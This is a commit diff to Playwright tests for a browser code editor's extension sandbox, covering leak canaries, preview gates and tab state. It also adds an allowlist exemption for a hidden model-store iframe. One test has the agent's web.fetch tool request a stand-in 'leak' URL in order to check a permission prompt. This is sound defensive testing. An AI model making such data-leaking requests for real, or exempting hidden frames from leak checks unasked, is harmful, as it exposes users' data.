utopia-ia/elffuss-code public
Changesets · Branches · Tags · Compare
| Changeset | c8095cfbfb2b5ac991d67990c05a30f68894b7f37d32279cfc34c0556d5cd09b |
|---|---|
| Author | KikoCis <kikocisneros@gmail.com> · 2026-10-12 12:01 +02:00 |
| Committer | KikoCis <kikocisneros@gmail.com> · 2026-10-12 12:01 +02:00 |
| Parents | 9ce12407e99b |
6 files changed
modified tests/mindpersist.mjs +5 −2
| @@ -24,8 +24,11 @@ | ||
| 24 | 24 | |
| 25 | 25 | // RECARGA REAL de la página (no solo cerrar/abrir la Mente en la misma sesión) |
| 26 | 26 | await p.goto(BASE + '/?test-opfs', { waitUntil: 'domcontentloaded' }); await p.waitForTimeout(1500); |
| 27 | -await p.locator('#activity img').click(); await p.waitForTimeout(1200); | |
| 28 | -const after = await p.evaluate(() => document.getElementById('mind-log-body')?.innerText || ''); | |
| 27 | +await p.locator('#activity img').click(); | |
| 28 | +// espera a que la Mente pinte su historial (con un tope), no un tiempo fijo: | |
| 29 | +// con extensiones de código arrancando a la vez la página tarda más en pintarlo | |
| 30 | +let after = ''; | |
| 31 | +for (let i = 0; i < 50 && !/debe sobrevivir/.test(after); i++) { await p.waitForTimeout(200); after = await p.evaluate(() => document.getElementById('mind-log-body')?.innerText || ''); } | |
| 29 | 32 | ok('el historial SOBREVIVE a una recarga real de la página', /debe sobrevivir/.test(after), after.slice(0, 80)); |
| 30 | 33 | ok('también se conserva el ciclo/evento del CEO', /Ciclo de prueba/.test(after)); |
| 31 | 34 |
modified tests/x2_canary.mjs +9 −3
| @@ -64,7 +64,7 @@ | ||
| 64 | 64 | const look = n => { |
| 65 | 65 | if (!(n instanceof Element)) return; |
| 66 | 66 | for (const e of [n, ...n.querySelectorAll('*')]) { |
| 67 | - for (const a of ['src', 'href', 'srcset', 'poster', 'data', 'action']) { const v = e.getAttribute(a); if (v && outside(v.split(/\s+/)[0])) w.push(e.tagName + '[' + a + ']=' + v.slice(0, 120)); } | |
| 67 | + for (const a of ['src', 'href', 'srcset', 'poster', 'data', 'action']) { const v = e.getAttribute(a); if (v && outside(v.split(/\s+/)[0]) && !(e.tagName === 'IFRAME' && a === 'src' && v === 'https://models.elffuss.com/' && e.getAttribute('aria-hidden') === 'true')) w.push(e.tagName + '[' + a + ']=' + v.slice(0, 120)); } | |
| 68 | 68 | const st = e.getAttribute('style'); |
| 69 | 69 | if (st && /url\(\s*['"]?(https?:)?\/\//i.test(st)) w.push(e.tagName + '[style]=' + st.slice(0, 120)); |
| 70 | 70 | if (e.tagName === 'STYLE' && /url\(\s*['"]?(https?:)?\/\//i.test(e.textContent)) w.push('STYLE=' + e.textContent.match(/url\([^)]*\)/i)[0].slice(0, 120)); |
| @@ -83,11 +83,16 @@ | ||
| 83 | 83 | // Playwright también ve los intentos que la CSP para antes de salir (y la baliza |
| 84 | 84 | // no recibe): esos no cuentan. Cuenta lo que terminó, o falló por otra cosa. |
| 85 | 85 | const otherRequests = []; |
| 86 | +const CODE_BROKER = 'https://models.elffuss.com/'; | |
| 86 | 87 | const outsider = r => { |
| 87 | 88 | const u = new URL(r.url()); |
| 88 | 89 | const fine = (u.origin === srv.codeOrigin) || u.host === 'cdn.jsdelivr.net' || u.protocol === 'data:' || u.protocol === 'blob:' |
| 89 | 90 | || (u.origin === srv.sandboxOrigin && ['/x2/v1/sandbox.html', '/x2/v1/exthost-iframe.html'].includes(u.pathname)); |
| 90 | - return !fine; | |
| 91 | + // el iframe oculto del almacén de modelos de Code (js/runtime/model-broker.js): | |
| 92 | + // lo abre la página de Code, no una extensión, y su dirección exacta no lleva | |
| 93 | + // datos. Aquí no resuelve (las reglas del resolvedor), así que tampoco sale. | |
| 94 | + const codeBroker = r.url() === CODE_BROKER && r.resourceType() === 'document' && r.frame()?.parentFrame()?.url().startsWith(srv.codeOrigin); | |
| 95 | + return !fine && !codeBroker; | |
| 91 | 96 | }; |
| 92 | 97 | const cspBlocked = []; |
| 93 | 98 | ctx.on('requestfinished', r => { if (outsider(r)) otherRequests.push('finished ' + r.url().slice(0, 150)); }); |
| @@ -203,7 +208,8 @@ | ||
| 203 | 208 | await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('canary.edit')); |
| 204 | 209 | await until(async () => /preview\.beacon\.test/.test(await ed(() => window.monaco.editor.getEditors()[0].getModel().getValue()))); |
| 205 | 210 | await page.click('#tabs-bar .tab.active', { button: 'right' }); |
| 206 | -await page.click('#tab-menu .tm-item:has-text("Vista previa")'); | |
| 211 | +// (el menú sigue el idioma del navegador desde 7d5e790: «Vista previa» o «Preview») | |
| 212 | +await page.locator('#tab-menu .tm-item').filter({ hasText: /^(Vista previa|Preview)$/ }).click(); | |
| 207 | 213 | const gate = await until(() => page.evaluate(() => !!document.querySelector('#x2-preview [role="dialog"]'))); |
| 208 | 214 | ok('P la vista previa de un HTML que tocó la extensión pregunta antes', !!gate); |
| 209 | 215 | await page.keyboard.press('Escape'); |
modified tests/x2_commands.mjs +1 −1
| @@ -108,7 +108,7 @@ | ||
| 108 | 108 | const setValue = (page, v) => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v); |
| 109 | 109 | const select = (page, a, b, c, d) => page.evaluate(([a, b, c, d]) => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: a, startColumn: b, endLineNumber: c, endColumn: d }); ed.focus(); }, [a, b, c, d]); |
| 110 | 110 | const readOpfs = (page, name) => page.evaluate(async n => { const o = await navigator.storage.getDirectory(); return (await (await o.getFileHandle(n)).getFile()).text(); }, name); |
| 111 | -const dirty = page => page.evaluate(() => document.querySelector('#tabs-bar .tab.active b')?.classList.contains('dirty') || false); | |
| 111 | +const dirty = page => page.evaluate(() => document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty') || false); | |
| 112 | 112 | const bridgeState = page => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state()); |
| 113 | 113 | const focusEditor = async page => { await page.evaluate(() => window.monaco.editor.getEditors()[0].focus()); await sleep(100); }; |
| 114 | 114 | async function installFile(page, name, bytes) { |
modified tests/x2_format.mjs +1 −1
| @@ -71,7 +71,7 @@ | ||
| 71 | 71 | const value = () => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue()); |
| 72 | 72 | const setValue = v => page.evaluate(v => window.monaco.editor.getEditors()[0].getModel().setValue(v), v); |
| 73 | 73 | const readOpfs = name => page.evaluate(async n => { const o = await navigator.storage.getDirectory(); return (await (await o.getFileHandle(n)).getFile()).text(); }, name); |
| 74 | -const dirty = () => page.evaluate(() => document.querySelector('#tabs-bar .tab.active b')?.classList.contains('dirty') || false); | |
| 74 | +const dirty = () => page.evaluate(() => document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty') || false); | |
| 75 | 75 | const focusEditor = async () => { await page.evaluate(() => window.monaco.editor.getEditors()[0].focus()); await sleep(100); }; |
| 76 | 76 | const formatDoc = () => page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); }); |
| 77 | 77 | const host = fn => page.evaluate(fn); |
modified tests/x2_lifecycle.mjs +7 −3
| @@ -83,8 +83,9 @@ | ||
| 83 | 83 | try { u = new URL(r.url()); } catch { return; } |
| 84 | 84 | if (!/^https?:$/.test(u.protocol) || u.hostname === '127.0.0.1' || u.hostname === 'localhost' || u.hostname === 'cdn.jsdelivr.net') return; |
| 85 | 85 | let frame = ''; |
| 86 | - try { frame = r.frame()?.url() || ''; } catch { frame = '(worker)'; } | |
| 87 | - outside.push({ url: u.origin + u.pathname, frame, method: r.method() }); | |
| 86 | + let parent = ''; | |
| 87 | + try { frame = r.frame()?.url() || ''; parent = r.frame()?.parentFrame()?.url() || ''; } catch { frame = '(worker)'; } | |
| 88 | + outside.push({ url: u.origin + u.pathname, frame, parent, method: r.method() }); | |
| 88 | 89 | }); |
| 89 | 90 | |
| 90 | 91 | await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' }); |
| @@ -278,7 +279,10 @@ | ||
| 278 | 279 | const vsx = outside.filter(o => o.url.startsWith(API) || /openvsx|eclipsecontent/.test(o.url)); |
| 279 | 280 | const notPage = vsx.filter(o => !o.frame.startsWith(srv.codeOrigin)); |
| 280 | 281 | ok('L11 only Code’s page talked to Open VSX (no request from the sandbox)', vsx.length > 0 && notPage.length === 0, JSON.stringify(notPage.slice(0, 3))); |
| 281 | -const strangers = outside.filter(o => !vsx.includes(o)); | |
| 282 | +// Code's own model store: the hidden iframe of the shared broker | |
| 283 | +// (js/runtime/model-broker.js) that Code's page opens, not level 2 | |
| 284 | +const broker = o => o.url === 'https://models.elffuss.com/' && o.frame === '' && o.parent.startsWith(srv.codeOrigin) && o.method === 'GET'; | |
| 285 | +const strangers = outside.filter(o => !vsx.includes(o) && !broker(o)); | |
| 282 | 286 | ok('L11 and nobody talked to anything else', strangers.length === 0, JSON.stringify(strangers.slice(0, 3))); |
| 283 | 287 | const sbx = [...new Set(srv.requests.filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))]; |
| 284 | 288 | ok('L11 the sandbox site was asked only for its two documents', sbx.length > 0 && sbx.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sbx.join(' ')); |
modified tests/x2_smoke.mjs +5 −4
| @@ -265,7 +265,7 @@ | ||
| 265 | 265 | ok('C10b están en la lista viva de la paleta (window.elffussClaw.commands)', live.some(e => e.label === 'X2: Sort Lines (fixture)' && e.hint === 'X2 sort'), JSON.stringify(live)); |
| 266 | 266 | const ran = await page.evaluate(async () => { await new Promise(r => setTimeout(r, 200)); const e = (await import('/js/ext2/bridge.js')).commands().find(x => x.id === 'x2sort.sortLines'); return e.run(); }); |
| 267 | 267 | ok('C11 el comando corre con activeTextEditor definido', ran === 'sorted:3', JSON.stringify(ran)); |
| 268 | - ok('C12 el texto queda ordenado y la pestaña sin guardar', await until(async () => (await value(page)) === 'apple\nfig\npear\n') && await page.evaluate(() => document.querySelector('#tabs-bar .tab.active b')?.className === 'dirty')); | |
| 268 | + ok('C12 el texto queda ordenado y la pestaña sin guardar', await until(async () => (await value(page)) === 'apple\nfig\npear\n') && await page.evaluate(() => !!document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty'))); | |
| 269 | 269 | await page.evaluate(() => window.monaco.editor.getEditors()[0].focus()); |
| 270 | 270 | await page.keyboard.press(`${MOD}+s`); |
| 271 | 271 | const saved = await until(() => page.evaluate(async () => { const o = await navigator.storage.getDirectory(); const t = await (await (await o.getFileHandle('fruits.txt')).getFile()).text(); return t === 'apple\nfig\npear\n' ? t : null; })); |
| @@ -312,9 +312,10 @@ | ||
| 312 | 312 | await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2sort.sortLines')); |
| 313 | 313 | const marked = await until(() => page.evaluate(async () => ((await (await import('/js/db.js')).get('kv', 'x2.touched')) || {})['page.html'] === true)); |
| 314 | 314 | ok('H1 el texto de una extensión marca el fichero (kv x2.touched)', !!marked); |
| 315 | - const previewVia = async (label = 'Vista previa') => { | |
| 315 | + // el menú sigue el idioma del navegador desde 7d5e790: se busca en los dos | |
| 316 | + const previewVia = async (label = /^(Vista previa|Preview)$/) => { | |
| 316 | 317 | await page.click('#tabs-bar .tab.active', { button: 'right' }); |
| 317 | - await page.click(`#tab-menu .tm-item:has-text("${label}")`); | |
| 318 | + await page.locator('#tab-menu .tm-item').filter({ hasText: label }).click(); | |
| 318 | 319 | }; |
| 319 | 320 | await previewVia(); |
| 320 | 321 | const gateDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-preview [role="dialog"]'); return d ? { text: d.textContent, focused: document.activeElement?.textContent } : null; })); |
| @@ -329,7 +330,7 @@ | ||
| 329 | 330 | const shown = await until(() => page.evaluate(() => document.querySelectorAll('#md-preview-pane iframe').length === 1 && !!document.querySelector('#tabs-bar .tab.tab-preview'))); |
| 330 | 331 | const cleared = await page.evaluate(async () => !((await (await import('/js/db.js')).get('kv', 'x2.touched')) || {})['page.html']); |
| 331 | 332 | ok('H4 «Previsualizar igualmente» la enseña y quita la marca', !!shown && cleared); |
| 332 | - await previewVia('Ver código fuente'); // vuelve al código | |
| 333 | + await previewVia(/^(Ver código fuente|View source)$/); // vuelve al código | |
| 333 | 334 | // el agente: web.fetch y un runtime del Bridge preguntan; Denegar por defecto |
| 334 | 335 | await page.evaluate(() => { window.__x2fetch = import('/js/tools/index.js').then(m => m.TOOLS['web.fetch'].run({ url: 'https://agent.beacon.test/leak?d=1' })); }); |
| 335 | 336 | const agentDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-agent [role="dialog"]'); return d ? { code: d.querySelector('.x2-code').textContent, focused: document.activeElement?.textContent } : null; })); |